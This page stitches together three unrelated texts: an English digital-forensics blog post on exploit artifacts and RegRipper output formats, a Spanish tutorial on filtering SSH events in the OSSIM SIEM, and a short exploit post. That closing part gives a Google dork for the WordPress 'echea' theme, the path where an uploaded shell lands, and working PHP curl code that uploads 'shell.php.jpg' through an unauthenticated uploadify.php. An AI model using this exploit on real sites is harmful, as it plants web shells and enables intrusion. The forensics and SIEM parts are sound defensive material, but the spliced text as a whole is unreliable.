Exploit Artifacts
Corey is back with yet another of his amazing exploit artifacts blog posts!  This time around, the post has to do with Silverlight exploits from 2013; even so, this is something (providing exploit artifacts) that's been talked about for a long time, and Corey's one of the only ones (THE only one that I know of) who crosses the boundaries and self-imposed obstacles between vuln devs/pen testers and the IR community.  I know that there are others who are documenting artifacts associated with exploits with a particular focus on exploit kits, but Corey is the only one that I'm aware of that's doing as complete a job, and sharing that information publicly.

What I really like about Corey's approach is that he's targeting those areas most likely to yield results.  Looking into the USN change journal entries has been fruitful for many an investigator, particularly if they can get access to the system within a relatively short time after the incident occurs.

I also like that fact that Corey clearly documents what he did, as well as what he found.  He also points out a couple of "tidbits" that he found that require further examination and testing before they're discussed a bit more fully.

WFA 4/e Reviews
I saw recently that there is another review of WFA 4/e posted to Amazon; thanks to Daniel for sharing his thoughts!  I greatly appreciate all reviews, regardless of how they're perceived, and I really appreciate reviews like Daniel's because he took the time to actually read some of the new information that was added to this edition.

Volatility Plugin Manager
Via David Cowen's blog, it seems that there's a GUI plugin manager available for Volatility now, written by Andrew Nind.  This looks like a great idea, and I look forward to seeing what people think of it.

RegRipper Updates
I've been working on some updates to RegRipper, not so much based on community-wide input but more based on some discussions that I've had with a very few (like, 3 or 4) folks within the DFIR community.  There've been no comments (that I've seen) regarding the usefulness or value of the alerting function that was added to the tool last year.

Output Formats
Earlier this year, I exchanged some emails with Willi Ballenthin, as he had put the effort in to look at the code for RegRipper, and he came up with a means for allowing users to create their own output formats.

Ultimately, given the wide variation in available data and possible formats, I just thought that it would be easier to provide a switch to allow users to select the 'regular' default output format that is available now, or choose between CSV, TLN, or bodyfile output formats.  The switch will be incorporated into the CLI tool, and for the time being, nothing will change with GUI...the default output format will be the 'regular' default output that we see now.  However, that may change in the future, once I get the necessary modifications completed.

The move to provide bodyfile output was based solely on discussions with two people, but I hope that others will find it useful.

Adding .csv output is something that has been asked for in the past, and the caveat for this output format is that it's going to be very different across the various plugins. As anyone who's looked at the output of the plugins knows, what RegRipper extracts from the Run key is different from what it extracts from the UserAssist subkeys.

One thing I've wanted to do for sometime is consolidate plugin output formats within the plugin, rather than create new plugins for each output format.  I've found a number of plugins to be extremely valuable during targeted threat engagements, particularly when anti-forensics measures have been employed.  I've used this combination of plugins to develop mini- or even micro-/nano-timelines that have lead to significant findings with respect to intruder activity and the scope of their reach, even when other potentially valuable resources were not available.  By combining the output of these plugins from various systems using the TLN format, I'm able to see a clear progression of intruder activity across multiple systems and user accounts, and achieve a significant level of visibility.  However, as things are now, if I modify one plugin, I have to be sure to incorporate that modification into the version of the plugin that produces TLN output, if there is one.  By incorporating the various output formats into a single plugin, the entire process of maintaining the plugins is simplified.

Is there any value in incorporating the l2t_csv format, as well?

Incorporate Artifact Categories
I know that others have talked about artifact categories before, and that one variation was included in the original SANS DFIR poster that was published.  However, I've taken a slightly different approach to the identification of artifact categories, one that is more along the lines of what Corey discussed when he released auto_rip, and what I listed in the HowTo blog posts from last July.  With respect to the Registry specifically, I'm thinking that it would be very useful to group artifacts within categories, so that they're more easily understood and remembered.

Multiple Hives
Something that I've already started incorporating into plugins is combining functionality within a single plugin to query multiple hives.  Within RegRipper, this doesn't happen automatically; what this means is that there are some plugins that can be run against the NTUSER.DAT and Software hives, or as with a new plugin I wrote recently (and haven't included in the plugin archive yet) to address Adam's latest autostart discovery, the same plugin could be run against the NTUSER.DAT or System hive.

To be clear, this does not mean that RegRipper will correlate data from across multiple hives...RegRipper's foundational design doesn't allow for that.  What it means is that one plugin can be run against several hives.

Artifacts
I ran across an instance recently where Yogesh Khatri's TraveLog research proved to be very beneficial.  Someone was using IE to perform lateral movement, and we weren't sure what they were actually doing...but IE had crashed, and we were able to "see" what was visible in each tab when the browser had it's issue.  Very cool.  Thanks to Yogesh for sharing his research...you never know when you're going to be able to make good use of information like that, but it's unlikely that if he hadn't shared the information, that we would've even known to look at the files.

Tercer artículo de la serie sobre OSSIM nuestro framework para realizar nuestras tareas SIEM.
Parte 1, 2, 3, 4, 5, 6, 7 , 8. 9 10

Cuando hablamos de la gestión de la información nos referimos no solo a la detección y almacenamiento, sino a todas las posibles acciones que debemos llevar a cabo ante esas situaciones.

Vivimos en un mundo conectado a la red las 24 horas del día, y la pregunta no es ¿Tendré algún incidente de seguridad? sino ¿Cuando tendré algún incidente de seguridad?. Podríamos debatir largo y tendido sobre este concepto, sobre todo con directores financieros pero asumimos que estamos en esa corriente, en la de ser todo lo proactivos que podamos.


Vamos a poner un ejemplo sencillo. Has seguido la serie de artículos uno y dos, has montado tu sistema y recibes al día 1200 logs, o 12000. Aún no has conectado tus sistemas de producción, salvo el ejemplo que hicimos de instalar OSSEC en un servidor Windows. Solo con los propios logs de OSSIM del demonio ssh ya tenemos entretenimiento para rato. Podemos desactivar la monitorización del demonio ssh o podemos desactivar toda la monitorización del demonio en ese servidor, salgo los intentos de login con una clave incorrecta. Viendo el proceso descubriréis lo fácil e intuitivo que es.


Podemos movernos por las distintas opciones pinchando en los bloques de color o en los menús laterales.
Configuramos las opciones relativas al origen, destino, puertos.



Ahora configuramos los eventos. Podemos seleccionar eventos por su taxonomía, por la categorización que tienen, o bien por fuentes de datos o DS (data sources). Vamos a crearnos una fuente de datos específica para el componente SSHD.




 Podríamos configurar de golpe todos los eventos generados por el sensor SSHD y creando una segunda política para incluir solo el evento de SSH password failure como notificación. Usamos la ordenación de políticas, como hacemos con los firewalls, para procesar primero la regla de "aceptar", en nuestro caso, la segunda regla.


O podemos hacerlo al revés. Seleccionando evento por evento dentro del sensor SSHD y dejando sin marcar el que queremos que SI notifique.




Dentro de las opciones relativas a las consecuencias nos vamos a centrar en la parte de SIEM. Solo queremos limpiar eventos innecesarios pero que pueden aportar valor.

En el próximo artículo haremos varias pruebas de acciones. La parte de Logger y fordwarding no está operativa en la versión OSSIM que estamos usando ( Alienvault=pago). Logger básicamente lo que hace es guardar los logs que recibimos de nuestras fuentes en formato RAW. OSSIM almacena las alertas generadas durante el tiempo que indiquemos, pero no conserva el log completo. Si hay campos que no se parsean por OSSIM se pierden. Por supuesto al alcanzar el ciclo de retención también se pierden. Podría ser necesario almacenar el log en raw para temas forenses, judiciales, etc. Fordwarding básicamente hace lo mismo con las alertas hacia otro servidor syslog.

Por defecto se retienen los eventos durante 5 días. Podemos configurarlo..



Para este ejemplo de "limpiar" los eventos SSH del propio servidor salvo las contraseñas incorrectas simplemente activaremos NO en Sql Storage. .

Set Event Priority:
Risk Assessment.
Logical Correlation.
Cross Correlation.
Sql Storage.

**Introducción.En próximos capítulos ampliaremos estos conceptos**

Risk Assessment. Establece niveles de alerta para eventos.

Cross Correlation. Referencias que se hacen entre eventos que contienen una ip de destino común. Por ejemplo, podríamos no almacenar un evento de fallo de inicio de sesión pero usar Cross Correlation. Varios intentos de inicio de sesión nos proporcionarían una correlación que llamamos "ataque de fuerza bruta" igual que las alertas de Snort y similares. Por supuesto podemos crear nuestras propias correlaciones...

Logical Correlation: Referencias entre eventos que no tienen por qué tener como denominador común la ip de destino. Pongamos un ejemplo, tenemos una regla que no alerta de los login correctos en un ssh. Tenemos una regla para los ataques de fuerza bruta, con 3 intentos en n tiempo. Imaginar que un atacante intenta una password, no la encuentra, intenta otra password y acierta. No tendríamos ningún evento de la intrusión. Podríamos haber creado esa referencia o directiva.

***

Ya tenemos configurada la gestión de los eventos del demonio ssh para que no nos inunde de información, pero conseguimos toda la potencia que nos ofrece un sistema de correlación de logs como OSSIM.

Espero que os haya gustado el artículo. En próximos capítulos ampliaremos mas información.

Gracias por leerme.

Dork: inurl:/wp-content/themes/echea/

Shell Uploaded to: 
http://www.site.com/wp-content/themes/echea/js/cufon-fonts/uploaded/custom_shell.php.jpg 

Exploit:

$uploadfile="shell.php.jpg";
$ch = curl_init("http://127.0.0.1/wp-content/themes/echea/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?> 

This exploit is the same as my previous post, so check it! :P